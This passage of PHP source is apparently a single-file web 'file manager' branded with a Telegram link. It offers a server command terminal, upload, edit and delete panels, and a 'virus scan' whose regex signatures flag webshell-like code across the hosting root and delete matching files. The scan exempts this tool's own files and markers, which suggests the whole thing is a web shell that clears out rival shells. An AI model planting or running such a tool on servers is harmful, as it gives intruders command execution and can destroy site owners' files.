array('w'=>2,'re'=>'/\$_(GET|POST|REQUEST|COOKIE)\s*\[[^\]]+\][^=]{0,12}===?\s*[\'"](?!com_|mod_|plg_|tmpl|format|task)(?=[^\'"]*[A-Za-z])(?=[^\'"]*[0-9])[A-Za-z0-9!@#$%^&*_.-]{6,}[\'"]/'),
array('w'=>2,'re'=>'/isset\s*\(\s*\$_FILES\s*\[[^\]]*\]\s*\)\s*\)\s*\{?\s*@?move_uploaded_file/'),
array('w'=>1,'re'=>'/(move_uploaded_file|file_put_contents)[\s\S]{0,400}\$_FILES/'),
array('w'=>1,'re'=>'/(http_response_code\s*\(\s*404\s*\)|header\s*\(\s*[\'"]HTTP\/1\.[01]\s+404)[\s\S]{0,500}\$_(GET|POST|FILES|REQUEST)|\$_(GET|POST|FILES|REQUEST)[\s\S]{0,500}(http_response_code\s*\(\s*404\s*\)|header\s*\(\s*[\'"]HTTP\/1\.[01]\s+404)/'),
); return $rules; }
function fm_scan_content($content) { $best = 0; $besthits = array(); $rules = fm_scan_rules(); foreach (fm_scan_layers($content) as $li => $layer) { $score = 0; $hits = array(); foreach ($rules as $r) { if (@preg_match($r['re'], $layer)) { $score += $r['w']; if (count($hits) < 4) $hits[] = ($li > 0 ? 'L' . $li . ':' : '') . trim(substr($r['re'], 0, 30)); } } if ($score > $best) { $best = $score; $besthits = $hits; } if ($best >= 12) break; } return array($best, $besthits); }

 $selffull = realpath($ROOT_PATH . '/' . $SELF); $rootreal = realpath($ROOT_PATH); $fm_scanlist = $ROOT_PATH . '/.fm-scanlist.txt'; $fm_scanfound = $ROOT_PATH . '/.fm-scanfound.jsonl';
 if (isset($_POST['a']) && ($_POST['a'] === 'm' || $_POST['a'] === 'n' || $_POST['a'] === 'o')) { @set_time_limit(180); if (function_exists('ini_set')) @ini_set('memory_limit', '512M'); header('Content-Type: application/json');
 if ($rootreal === false) { echo json_encode(array('ok' => false, 'msg' => 'Cannot resolve the hosting root.')); exit; }
 if ($_POST['a'] === 'o') { foreach (array($fm_scanlist, $fm_scanfound) as $fm_sf) { if (is_file($fm_sf)) @unlink($fm_sf); } echo json_encode(array('ok' => true, 'cancelled' => true)); exit; }
 if ($_POST['a'] === 'm') { $fm_phase = isset($_POST['phase']) ? $_POST['phase'] : 'start';
 if ($fm_phase === 'start') { foreach (array($fm_scanlist, $fm_scanfound) as $fm_sf) { if (is_file($fm_sf)) @unlink($fm_sf); } $fm_lh = @fopen($fm_scanlist, 'wb'); if (!$fm_lh) { echo json_encode(array('ok' => false, 'msg' => 'Cannot create the scan state file (directory not writable).')); exit; } $fm_total = 0;
 try { $fm_it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootreal, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY, RecursiveIteratorIterator::CATCH_GET_CHILD); foreach ($fm_it as $fm_f) { try { if (!$fm_f->isFile()) continue; $fm_ext = strtolower(pathinfo($fm_f->getPathname(), PATHINFO_EXTENSION)); if (!in_array($fm_ext, array('php','phtml','phtm','pht','php3','php4','php5','php7','php8','phps','phar','inc'))) continue; $fm_base = $fm_f->getFilename(); if (substr($fm_base, -7) === '.fmpart' || strpos($fm_base, '.fm-') === 0) continue; if ($selffull !== false && $fm_f->getRealPath() === $selffull) continue; if (@filesize($fm_f->getPathname()) > 4194304) continue; fwrite($fm_lh, $fm_f->getPathname() . "\n"); $fm_total++; } catch (Exception $fm_e) { continue; } } } catch (Exception $fm_e) { }
 fclose($fm_lh); echo json_encode(array('ok' => true, 'phase' => 'start', 'total' => $fm_total)); exit; }
 if ($fm_phase === 'step') { $fm_from = isset($_POST['from']) ? (int)$_POST['from'] : 0; if ($fm_from < 0) $fm_from = 0; $fm_deadline = microtime(true) + 35; $fm_fh = @fopen($fm_scanlist, 'rb'); if (!$fm_fh) { echo json_encode(array('ok' => false, 'msg' => 'Scan state missing — start the scan again.')); exit; } $fm_i = -1; $fm_last = $fm_from - 1; $fm_processed = 0; $fm_found = array(); $fm_done = true; $fm_lf = @fopen($fm_scanfound, 'ab');
 while (($fm_line = fgets($fm_fh)) !== false) { $fm_i++; if ($fm_i < $fm_from) continue; $fm_p = trim($fm_line); if ($fm_p !== '') { $fm_processed++; $fm_content = @file_get_contents($fm_p); if (is_string($fm_content) && $fm_content !== '' && strpos($fm_content, 'FMDATA') === false && strpos($fm_content, '$__FM_FILE') === false && strpos($fm_content, 'fm_login') === false) { list($fm_score, $fm_hits) = fm_scan_content($fm_content); if ($fm_score >= 2) { $fm_item = array('path' => $fm_p, 'size' => @filesize($fm_p), 'score' => $fm_score, 'hits' => $fm_hits); $fm_found[] = $fm_item; if ($fm_lf) { fwrite($fm_lf, json_encode($fm_item) . "\n"); } } } } $fm_last = $fm_i; if (microtime(true) >= $fm_deadline) { $fm_done = false; break; } }
 if ($fm_lf) fclose($fm_lf); $fm_done = $fm_done && feof($fm_fh); fclose($fm_fh); echo json_encode(array('ok' => true, 'phase' => 'step', 'done' => $fm_done, 'processed' => $fm_processed, 'position' => $fm_last + 1, 'next' => $fm_done ? 0 : $fm_last + 1, 'found' => $fm_found)); exit; }
 echo json_encode(array('ok' => false, 'msg' => 'Unknown scan phase.')); exit; }
 if ($_POST['a'] === 'n') { @set_time_limit(120); $files = isset($_POST['files']) ? json_decode($_POST['files'], true) : array(); if (!is_array($files)) $files = array(); $del = 0; $fail = 0; foreach ($files as $p) { if (!is_string($p)) { $fail++; continue; } $rp = realpath($p); if ($rp === false || strpos($rp, $rootreal) !== 0 || ($selffull !== false && $rp === $selffull)) { $fail++; continue; } if (@unlink($rp)) $del++; else $fail++; } foreach (array($fm_scanlist, $fm_scanfound) as $fm_sf) { if (is_file($fm_sf)) @unlink($fm_sf); } echo json_encode(array('ok' => true, 'deleted' => $del, 'failed' => $fail)); exit; }
 exit; }
 $entries = []; if (is_dir($current_path)) { $items = @scandir($current_path); if ($items === false) $items = []; $base = rtrim($current_path, '/'); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; if (strpos($item, '.fm-') === 0 || substr($item, -7) === '.fmpart') continue; $full = $base . '/' . $item; $is_dir = @is_dir($full); $perms = @fileperms($full); $entries[] = [ 'name' => $item, 'is_dir' => $is_dir, 'size' => $is_dir ? null : @filesize($full), 'perms_str' => $perms ? perm_to_string($perms) : '---------', 'perms_oct' => $perms ? substr(sprintf('%o', $perms), -4) : '----', 'writable' => @is_writable($full), 'mtime' => @filemtime($full), ]; } usort($entries, function($a, $b) { if ($a['is_dir'] === $b['is_dir']) return strcasecmp($a['name'], $b['name']); return $a['is_dir'] ? -1 : 1; }); } else { set_flash('Directory not found.', 'error'); } $crumbs = []; $parts = explode('/', $current_path); $acc = ''; foreach ($parts as $p) { if ($p === '') continue; if (preg_match('/^[a-zA-Z]:$/', $p)) { $acc = $p; } else { $acc .= '/' . $p; } $crumbs[] = ['name' => $p, 'path' => $acc]; } $edit_file = null; if (isset($_GET['edit'])) { $target = $current_path . '/' . $_GET['edit']; if (is_file($target) && is_readable($target)) { if (filesize($target) <= 5000000) { $content = file_get_contents($target); $edit_file = [ 'name' => $_GET['edit'], 'content' => '', 'content_b64' => base64_encode($content), 'binary' => strpos(substr($content, 0, 8192), "\0") !== false, ]; } else { set_flash('File is too large to edit (max 5 MB). You can download it instead.', 'error'); } } } $disk_free = @disk_free_space($current_path); $disk_total = @disk_total_space($current_path); ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="theme-color" content="#0a0f1f">
<title><?php echo FM_TITLE; ?> — <?php echo htmlspecialchars($current_path); ?></title>
<style>
:root{
  --bg:#0a0f1f;
  --panel:rgba(148,163,184,.055);
  --panel2:rgba(11,17,32,.55);
  --border:rgba(148,163,184,.15);
  --border-soft:rgba(148,163,184,.09);
  --text:#e7edf8;
  --muted:#93a3bd;
  --accent:#38bdf8;
  --accent2:#818cf8;
  --grad:linear-gradient(120deg,#38bdf8,#818cf8 55%,#c084fc);
  --green:#34d399;
  --red:#fb7185;
  --amber:#fbbf24;
  --radius:18px;
  --mono:'JetBrains Mono',ui-monospace,SFMono-Regular,Menlo,Consolas,'Liberation Mono',monospace;
  --sans:'Inter',ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;
}
*{box-sizing:border-box;margin:0;padding:0}
::selection{background:rgba(56,189,248,.35)}
body{font-family:var(--sans);font-size:14px;color:var(--text);min-height:100vh;
  background:
    radial-gradient(760px 460px at 10% -8%,rgba(56,189,248,.13),transparent 60%),
    radial-gradient(820px 500px at 92% -12%,rgba(129,140,248,.13),transparent 58%),
    radial-gradient(1000px 640px at 50% 118%,rgba(192,132,252,.08),transparent 62%),
    var(--bg);
  background-attachment:fixed}
a{color:#7dd3fc;text-decoration:none;transition:color .15s}
a:hover{color:#bae6fd}
.wrap{max-width:1200px;margin:0 auto;padding:0 22px}

/* ---------- header ---------- */
header{position:sticky;top:0;z-index:60;background:rgba(10,15,31,.72);backdrop-filter:blur(16px) saturate(1.4);-webkit-backdrop-filter:blur(16px) saturate(1.4);border-bottom:1px solid var(--border-soft)}
.hbar{display:flex;align-items:center;gap:14px;flex-wrap:wrap;padding:13px 0}
.brand{display:flex;align-items:center;gap:10px;font-weight:800;letter-spacing:.1em;font-size:14px;color:#f4f7fd}
.brand .dot{width:10px;height:10px;border-radius:4px;background:var(--grad);box-shadow:0 0 14px rgba(99,102,241,.8)}
.crumbs{font-size:13px;color:var(--muted);flex:1;min-width:220px;display:flex;align-items:center;flex-wrap:wrap;gap:2px}
.crumbs b{color:#f4f7fd;font-weight:650}
.crumbs .sep{color:#3b4a66;margin:0 6px}
.count{font-family:var(--mono);font-size:11px;letter-spacing:.06em;color:#9fb0cc;background:rgba(148,163,184,.08);border:1px solid var(--border);border-radius:999px;padding:4px 13px;white-space:nowrap}

/* ---------- hero ---------- */
.hero{padding:26px 0 6px}
.hero-card{display:flex;align-items:center;justify-content:space-between;gap:20px;flex-wrap:wrap;
  padding:22px 26px;border-radius:var(--radius);border:1px solid var(--border);
  background:linear-gradient(115deg,rgba(56,189,248,.09),rgba(129,140,248,.08) 45%,rgba(192,132,252,.07)),rgba(148,163,184,.04);
  backdrop-filter:blur(8px);-webkit-backdrop-filter:blur(8px);
  box-shadow:0 18px 44px rgba(2,6,18,.35)}
.hero-badge{display:inline-block;font-family:var(--mono);font-size:10px;letter-spacing:.32em;text-transform:uppercase;color:#8fa0ba;
  border:1px solid var(--border);border-radius:999px;padding:5px 14px;background:rgba(148,163,184,.06);margin-bottom:12px}
.hero-word{font-size:clamp(1.7rem,4vw,2.4rem);font-weight:800;letter-spacing:.1em;line-height:1.1;
  background:var(--grad);-webkit-background-clip:text;background-clip:text;color:transparent}
.hero-side{display:flex;align-items:center;gap:14px;flex-wrap:wrap}
.tg{display:inline-flex;align-items:center;gap:8px;padding:9px 18px;border-radius:999px;font-size:12.5px;font-weight:700;
  color:#e0f2fe;background:rgba(42,171,238,.12);border:1px solid rgba(42,171,238,.35);
  transition:background .15s,border-color .15s,transform .15s}
.tg:hover{background:rgba(42,171,238,.22);border-color:rgba(42,171,238,.6);color:#fff;transform:translateY(-1px)}
.tg svg{width:15px;height:15px}
.chips{display:flex;gap:8px;flex-wrap:wrap}
.chip{font-family:var(--mono);font-size:10.5px;letter-spacing:.05em;color:#93a3bd;background:rgba(148,163,184,.07);border:1px solid var(--border);border-radius:999px;padding:6px 13px}
.chip b{color:#7dd3fc;font-weight:600}

/* ---------- flash ---------- */
main{padding:18px 0 46px}
.msg{display:flex;align-items:center;gap:11px;padding:13px 17px;border:1px solid var(--border);border-radius:14px;margin-bottom:16px;
  font-size:13px;background:var(--panel2);backdrop-filter:blur(8px);-webkit-backdrop-filter:blur(8px)}
.msg::before{content:'';width:8px;height:8px;border-radius:50%;flex-shrink:0;box-shadow:0 0 10px currentcolor}
.msg.success{border-color:rgba(52,211,153,.4)}.msg.success::before{background:var(--green);color:var(--green)}
.msg.error{border-color:rgba(251,113,133,.4)}.msg.error::before{background:var(--red);color:var(--red)}
.msg.info{border-color:rgba(56,189,248,.4)}.msg.info::before{background:var(--accent);color:var(--accent)}

/* ---------- toolbar / buttons ---------- */
.toolbar{display:flex;gap:9px;margin-bottom:16px;flex-wrap:wrap}
.btn{display:inline-flex;align-items:center;gap:8px;padding:9px 16px;border-radius:12px;border:1px solid var(--border);
  background:rgba(148,163,184,.07);color:var(--text);font-size:13px;font-weight:600;cursor:pointer;text-decoration:none;
  font-family:inherit;letter-spacing:.01em;transition:background .15s,border-color .15s,color .15s,transform .15s,box-shadow .15s}
.btn svg{width:15px;height:15px;opacity:.85}
.btn:hover{background:rgba(56,189,248,.1);border-color:rgba(56,189,248,.5);color:#7dd3fc;text-decoration:none;transform:translateY(-1px)}
.btn:active{transform:translateY(0)}
.btn.primary{background:var(--grad);border-color:transparent;color:#fff;box-shadow:0 8px 22px rgba(99,102,241,.35)}
.btn.primary:hover{background:var(--grad);color:#fff;filter:brightness(1.1);box-shadow:0 10px 26px rgba(99,102,241,.45)}
.btn.danger{color:#fda4af;border-color:rgba(251,113,133,.3);background:rgba(251,113,133,.06)}
.btn.danger:hover{background:rgba(251,113,133,.12);border-color:rgba(251,113,133,.55);color:#fb7185}

/* ---------- panels / forms ---------- */
.panel{background:var(--panel2);border:1px solid var(--border);border-radius:var(--radius);padding:22px;margin-bottom:16px;
  backdrop-filter:blur(10px);-webkit-backdrop-filter:blur(10px);box-shadow:0 16px 40px rgba(2,6,18,.32)}
.panel h2{font-family:var(--mono);font-size:11px;letter-spacing:.22em;text-transform:uppercase;color:var(--muted);margin-bottom:14px;display:flex;align-items:center;gap:10px;flex-wrap:wrap}
.panel h2 .fh{color:#7dd3fc;font-family:var(--mono);text-transform:none;letter-spacing:0;font-size:12.5px;font-weight:700;
  background:rgba(56,189,248,.1);border:1px solid rgba(56,189,248,.3);border-radius:8px;padding:4px 11px}
label{display:block;font-size:11px;letter-spacing:.12em;text-transform:uppercase;color:var(--muted);margin-bottom:8px;font-weight:600}
input[type=text]{width:100%;max-width:420px;padding:10px 14px;border-radius:12px;font-size:13px;font-family:var(--mono);
  background:rgba(7,12,26,.6);border:1px solid var(--border);color:var(--text);outline:none;transition:border-color .15s,box-shadow .15s}
input[type=text]:focus{border-color:rgba(56,189,248,.6);box-shadow:0 0 0 3px rgba(56,189,248,.14)}
input[type=file]{font-size:12.5px;color:var(--muted);margin-bottom:12px;font-family:var(--mono)}
input[type=file]::file-selector-button{background:rgba(148,163,184,.09);border:1px solid var(--border);color:var(--text);
  border-radius:10px;padding:8px 15px;margin-right:12px;cursor:pointer;font-family:inherit;font-size:12px;font-weight:600;transition:border-color .15s,color .15s}
input[type=file]::file-selector-button:hover{border-color:rgba(56,189,248,.55);color:#7dd3fc}
textarea{width:100%;min-height:460px;padding:15px;border-radius:14px;background:rgba(7,12,26,.6);border:1px solid var(--border);
  color:#dbe5f0;font-family:var(--mono);font-size:12.5px;line-height:1.65;tab-size:4;outline:none;margin-bottom:12px;resize:vertical;transition:border-color .15s,box-shadow .15s}
textarea:focus{border-color:rgba(56,189,248,.55);box-shadow:0 0 0 3px rgba(56,189,248,.12)}
.frow{display:flex;gap:10px;align-items:center;flex-wrap:wrap;margin-top:8px}

/* ---------- table ---------- */
.tablewrap{border:1px solid var(--border);border-radius:var(--radius);overflow:hidden;background:var(--panel2);
  backdrop-filter:blur(10px);-webkit-backdrop-filter:blur(10px);box-shadow:0 16px 40px rgba(2,6,18,.32)}
.bulk{display:flex;gap:14px;align-items:center;padding:11px 18px;background:rgba(148,163,184,.04);border-bottom:1px solid var(--border-soft);
  font-size:12.5px;color:var(--muted)}
.bulk label{display:flex;align-items:center;gap:8px;margin:0;text-transform:none;letter-spacing:.02em;font-size:12.5px;cursor:pointer;font-weight:500}
input[type=checkbox]{accent-color:#60a5fa;width:15px;height:15px;cursor:pointer}
input[type=checkbox].ck{border-radius:4px}
table{width:100%;border-collapse:collapse}
th,td{padding:11px 16px;text-align:left;font-size:13px;vertical-align:middle}
th{background:rgba(148,163,184,.05);font-family:var(--mono);font-size:10px;text-transform:uppercase;letter-spacing:.16em;color:var(--muted);font-weight:700;
  border-bottom:1px solid var(--border)}
tbody tr{transition:background .15s;animation:rowin .3s ease both}
@keyframes rowin{from{opacity:0;transform:translateY(4px)}to{opacity:1;transform:none}}
tbody tr:hover td{background:rgba(56,189,248,.06)}
tbody tr:not(.parent-row):hover td:first-child{box-shadow:inset 3px 0 0 var(--accent)}
tbody tr:last-child td{border-bottom:none}
tbody tr td{border-bottom:1px solid rgba(148,163,184,.08)}
td.name-cell{font-weight:500;max-width:430px;overflow-wrap:anywhere}
.dir{font-weight:700;color:#7dd3fc}
.dim{color:var(--muted)}
.mono{font-family:var(--mono);font-size:11.5px}
/* ---------- permission colors (soft) ---------- */
.pstr{font-weight:500;letter-spacing:.4px}
.p-r{color:#7dd3fc}
.p-w{color:#6ee7b7}
.p-x{color:#fcd34d}
.p-off{color:#3d4c68}
.p-sep{color:#3d4c68}
.poct{font-weight:600}
.poct.ok{color:#6ee7b7}
.poct.no{color:#fda4af}
/* ---------- terminal ---------- */
.term-box{background:#04070e;border:1px solid var(--border);border-radius:14px;padding:14px 16px;height:340px;overflow:auto;
  font-family:var(--mono);font-size:12.5px;line-height:1.55;color:#c7d5ec;margin-bottom:10px}
.term-ps1{color:#6ee7b7;font-weight:700}
.term-pre{font-family:var(--mono);white-space:pre-wrap;word-break:break-word;margin:2px 0 8px;color:#c7d5ec}
.term-code{color:#fda4af;font-size:11px;margin-bottom:8px}
.frow input[type=text].term-input{flex:1;min-width:220px;max-width:none}
.frow input[type=text].term-input:focus{border-color:rgba(56,189,248,.6);box-shadow:0 0 0 3px rgba(56,189,248,.14)}
.parent-row td{color:var(--muted)}
.parent-row a{color:#93a3bd;font-weight:700}
.parent-row a:hover{color:#7dd3fc}
.ic{width:16px;height:16px;vertical-align:-3px;margin-right:9px}
.ic-folder{color:var(--amber)}
.ic-file{color:#64748b}
.ic-img{color:#c084fc}
.ic-zip{color:#fb923c}
.ic-code{color:#38bdf8}
.ic-audio{color:#f472b6}
.ic-video{color:#fb7185}
.ic-doc{color:#94a3b8}
.actions{white-space:nowrap}
.actions a,.actions .link{display:inline-block;margin:2px 5px 2px 0;padding:4px 12px;border-radius:999px;font-size:11.5px;font-weight:600;
  border:1px solid var(--border);color:#a9b7cd;background:rgba(148,163,184,.06);cursor:pointer;font-family:inherit;text-decoration:none;
  transition:border-color .15s,color .15s,background .15s}
.actions a:hover,.actions .link:hover{border-color:rgba(56,189,248,.55);color:#7dd3fc;background:rgba(56,189,248,.1);text-decoration:none}
.actions .link.danger:hover{border-color:rgba(251,113,133,.55);color:#fb7185;background:rgba(251,113,133,.09)}
.empty{padding:56px 20px;text-align:center;color:#5b6b87}
.empty svg{width:40px;height:40px;margin-bottom:12px;opacity:.45}

/* ---------- footer ---------- */
footer{padding:28px 0 42px;text-align:center;font-size:12px;color:#5b6b87;line-height:2}
footer .fpath{display:block;font-family:var(--mono);font-size:11px;color:#44526e;word-break:break-all;margin-bottom:4px}
footer a{color:#7dd3fc;font-weight:700}
footer a:hover{color:#bae6fd}

::-webkit-scrollbar{width:9px;height:9px}
::-webkit-scrollbar-track{background:transparent}
::-webkit-scrollbar-thumb{background:rgba(148,163,184,.25);border-radius:8px;border:2px solid transparent;background-clip:padding-box}
::-webkit-scrollbar-thumb:hover{background:rgba(148,163,184,.4);border:2px solid transparent;background-clip:padding-box}

@media(max-width:720px){
  th:nth-child(4),td:nth-child(4),th:nth-child(5),td:nth-child(5){display:none}
  .hero-card{padding:18px;flex-direction:column;align-items:flex-start}
  td.name-cell{max-width:200px}
  th,td{padding:9px 10px}
}
</style>
</head>
<body>
<header>
    <div class="wrap hbar">
        <span class="brand"><span class="dot"></span><?php echo FM_TITLE; ?></span>
        <nav class="crumbs">
            <a href="<?php echo $SELF; ?>?dir=">root</a>
            <?php foreach($crumbs as $i => $c): ?>
                 <?php if ($i === count($crumbs) - 1): ?><span class="sep">/</span><b><?php echo htmlspecialchars($c['name']); ?></b>
                 <?php else: ?><span class="sep">/</span><a href="<?php echo $SELF; ?>?dir=<?php echo fm_uenc($c['path']); ?>"><?php echo htmlspecialchars($c['name']); ?></a>
                 <?php endif; ?>
            <?php endforeach; ?>
        </nav>
        <span class="count"><?php echo count($entries); ?> items</span>
        <?php if(FM_PASSWORD !== ''): ?>
        <a class="btn" href="?fm_logout=1">
            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M9 21H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h4"/><polyline points="16 17 21 12 16 7"/><line x1="21" y1="12" x2="9" y2="12"/></svg>
            Sign out</a>
        <?php endif; ?>
    </div>
</header>

<section class="hero">
    <div class="wrap">
        <div class="hero-card">
            <div class="hero-left">
                <div class="hero-badge">single-file file manager</div>
                <h1 class="hero-word"><?php echo FM_TITLE; ?></h1>
            </div>
            <div class="hero-side">
                <div class="chips">
                    <span class="chip">php <b><?php echo PHP_VERSION; ?></b></span>
                    <span class="chip">os <b><?php echo htmlspecialchars(PHP_OS); ?></b></span>
                    <?php if ($disk_free !== false && $disk_total !== false && $disk_total > 0): ?>
                    <span class="chip">disk <b><?php echo format_size($disk_free); ?></b> free of <?php echo format_size($disk_total); ?></span>
                    <?php endif; ?>
                </div>
                <a class="tg" href="<?php echo FM_TELEGRAM; ?>" target="_blank" rel="noopener">
                    <svg viewBox="0 0 24 24" fill="currentColor"><path d="M9.04 15.9l-.38 5.36c.55 0 .79-.24 1.08-.52l2.6-2.48 5.38 3.94c.99.55 1.69.26 1.96-.9l3.55-16.63c.32-1.45-.52-2.02-1.47-1.66L1.14 10.1c-1.42.55-1.4 1.34-.24 1.7l5.32 1.66L18.73 6.3c.58-.38 1.11-.17.68.21L9.04 15.9z"/></svg>
                    t.me/jellyproject
                </a>
            </div>
        </div>
    </div>
</section>

<main class="wrap">

    <?php if($flash): ?>
        <div class="msg <?php echo htmlspecialchars($flash_type); ?>"><?php echo htmlspecialchars($flash); ?></div>
    <?php endif; ?>

    <?php if($edit_file): ?>
        <div class="panel">
            <h2>editing <span class="fh"><?php echo htmlspecialchars($edit_file['name']); ?></span></h2>
            <?php if(!empty($edit_file['binary'])): ?>
            <div class="msg error">This looks like a binary file — editing it here may corrupt its content.</div>
            <?php endif; ?>
            <form method="post" action="<?php echo $SELF; ?>?dir=<?php echo fm_uenc($current_path); ?>" onsubmit="return encEdit(this)">
                <input type="hidden" name="a" value="h">
                <input type="hidden" name="name" value="<?php echo htmlspecialchars($edit_file['name']); ?>">
                <textarea name="content" id="fm-edit-area" spellcheck="false" data-b64="<?php echo $edit_file['content_b64']; ?>"></textarea>
                <div class="frow">
                    <button type="submit" class="btn primary">
                        <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M19 21H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h11l5 5v11a2 2 0 0 1-2 2z"/><polyline points="17 21 17 13 7 13 7 21"/><polyline points="7 3 7 8 15 8"/></svg>
                        Save</button>
                    <span class="dim" id="fm-save-status"></span>
                    <a class="btn" href="<?php echo $SELF; ?>?dir=<?php echo fm_uenc($current_path); ?>">Cancel</a>
                </div>
            </form>
        </div>
    <?php else: ?>

    <div class="toolbar">
        <a class="btn" href="<?php echo $SELF; ?>?goto=up&dir=<?php echo fm_uenc($current_path); ?>">
            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 19V5"/><path d="m5 12 7-7 7 7"/></svg>
            Up</a>
        <button type="button" class="btn" onclick="togglePanel('p-mkdir')">
            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M4 20h16a2 2 0 0 0 2-2V8a2 2 0 0 0-2-2h-7.93a2 2 0 0 1-1.66-.9l-.82-1.2A2 2 0 0 0 7.93 3H4a2 2 0 0 0-2 2v13c0 1.1.9 2 2 2z"/><line x1="12" y1="11" x2="12" y2="17"/><line x1="9" y1="14" x2="15" y2="14"/></svg>
            New Folder</button>
        <button type="button" class="btn" onclick="togglePanel('p-file')">
            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/><line x1="12" y1="18" x2="12" y2="12"/><line x1="9" y1="15" x2="15" y2="15"/></svg>
            New File</button>
        <button type="button" class="btn" onclick="togglePanel('p-upload')">
            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><polyline points="17 8 12 3 7 8"/><line x1="12" y1="3" x2="12" y2="15"/></svg>
            Upload</button>
        <button type="button" class="btn" onclick="togglePanel('p-term');var t=document.getElementById('term-cmd');if(t)t.focus()">
            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
            Terminal</button>
        <button type="button" class="btn danger" onclick="togglePanel('p-scan');fmScanReset()">
            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
            Virus Scan</button>
    </div>

    <div class="panel" id="p-mkdir" style="display:none">
        <form method="post" action="<?php echo $SELF; ?>?dir=<?php echo fm_uenc($current_path); ?>">
            <input type="hidden" name="a" value="c">
            <label>Folder name</label>
            <input type="text" name="name" placeholder="new-folder" required pattern="[a-zA-Z0-9_\- .]+">
            <div class="frow"><button type="submit" class="btn primary">Create</button></div>
        </form>
    </div>

    <div class="panel" id="p-file" style="display:none">
        <form method="post" action="<?php echo $SELF; ?>?dir=<?php echo fm_uenc($current_path); ?>">
            <input type="hidden" name="a" value="d">
            <label>File name</label>
            <input type="text" name="name" placeholder="new-file.txt" required>
            <div class="frow"><button type="submit" class="btn primary">Create</button></div>
        </form>
    </div>

    <div class="panel" id="p-upload" style="display:none">
        <form method="post" action="<?php echo $SELF; ?>?dir=<?php echo fm_uenc($current_path); ?>" enctype="multipart/form-data" onsubmit="return fmUpload(this)">
            <input type="hidden" name="a" value="g">
            <label>File(s)</label>
            <input type="file" name="file[]" multiple>
            <div class="frow"><button type="submit" class="btn primary">Upload</button><span class="dim" id="fm-up-status"></span></div>
        </form>
    </div>

    <div class="panel" id="p-term" style="display:none">
        <h2>terminal <span class="fh"><?php echo htmlspecialchars($current_path); ?></span></h2>
        <div class="term-box" id="term-out"></div>
        <form method="post" action="<?php echo $SELF; ?>?dir=<?php echo fm_uenc($current_path); ?>" id="term-form" onsubmit="return runTerm()">
            <div class="frow">
                <span class="term-ps1 mono" id="term-ps1"><?php $bn = basename($current_path); echo htmlspecialchars($bn === '' ? '/' : $bn); ?> $</span>
                <input type="text" class="term-input" id="term-cmd" placeholder="command — each command runs in this directory" autocomplete="off" spellcheck="false" onkeydown="termKey(event)">
                <button type="submit" class="btn primary">Run</button>
                <span class="dim" id="term-status"></span>
            </div>
        </form>
    </div>


    <div class="panel" id="p-scan" style="display:none">
        <h2>virus scanner <span class="fh"><?php echo htmlspecialchars($ROOT_PATH); ?></span></h2>
        <div class="term-box" id="scan-out" style="height:220px"><div class="term-pre dim">PHP malware scan — signature based, layered decode (base64 / gzinflate / rot13 / hex / uu). Scans the whole hosting root recursively in small time-sliced steps, so large installations never die with a timeout.<br>Review the list before deleting anything.</div></div>
        <div class="frow">
            <button type="button" class="btn primary" onclick="fmScanStart()">
                <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg>
                Scan now</button>
            <button type="button" class="btn" id="scan-stop" style="display:none" onclick="fmScanStop()">Stop</button>
            <button type="button" class="btn danger" id="scan-clean" style="display:none" onclick="fmScanClean()">Delete infected files</button>
            <span class="dim" id="scan-progress"></span>
            <span class="dim" id="scan-status"></span>
        </div>
    </div>

    <form method="post" action="<?php echo $SELF; ?>?dir=<?php echo fm_uenc($current_path); ?>" onsubmit="return confirm('Delete selected items?')">
    <input type="hidden" name="a" value="b">
    <div class="tablewrap">
    <div class="bulk">
        <label><input type="checkbox" onclick="selAll(this)"> select all</label>
        <button type="submit" class="btn danger">
            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="3 6 5 6 21 6"/><path d="M19 6v14a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6m3 0V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2"/></svg>
            Delete selected</button>
    </div>
    <table>
        <thead>
            <tr><th style="width:34px"></th><th>Name</th><th>Size</th><th>Permissions</th><th>Modified</th><th>Actions</th></tr>
        </thead>
        <tbody>
        <?php $parent_path = normalize_path($current_path . '/..'); if ($parent_path !== $current_path): ?>
            <tr class="parent-row">
                <td></td>
